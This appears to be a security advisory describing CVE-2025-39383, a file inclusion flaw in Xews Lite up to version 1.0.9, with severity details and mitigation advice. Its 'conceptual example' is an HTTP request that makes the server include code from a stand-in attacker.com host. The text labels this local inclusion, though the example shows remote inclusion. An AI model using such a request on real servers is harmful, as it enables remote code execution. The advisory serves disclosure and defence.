Overview
CVE-2025-39383 is a critical vulnerability found in the Code Work Web Xews Lite software. It is associated with the Improper Control of Filename for Include/Require Statement in PHP Programs, which allows PHP Local File Inclusion. This vulnerability has wide-ranging implications for systems running Xews Lite versions up to 1.0.9. The severity of this vulnerability is significant due to its potential to compromise systems and leak sensitive data.
Vulnerability Summary
CVE ID: CVE-2025-39383
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
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Product | Affected Versions
Code Work Web Xews Lite | Up to and including 1.0.9
How the Exploit Works
The vulnerability arises due to improper control of filename for include/require statement in PHP programs within the Xews Lite software. This allows an attacker to inject malicious PHP code through the file inclusion functionality. The attacker could manipulate the file inclusion directives to execute arbitrary PHP code, thereby compromising the system and potentially leading to data leakage.
Conceptual Example Code
A conceptual example of exploiting this vulnerability might look like this:
POST /vulnerable/endpoint.php?file=http://attacker.com/malicious_code.txt HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
...In the example above, the attacker tricks the server into including a file (`malicious_code.txt`) from their server (`attacker.com`). When the server executes the PHP code, it runs the malicious code contained within `malicious_code.txt`.
Mitigation
To mitigate the risk of this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch or until one can be applied, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly updating and patching software can help prevent exploitation of such vulnerabilities.
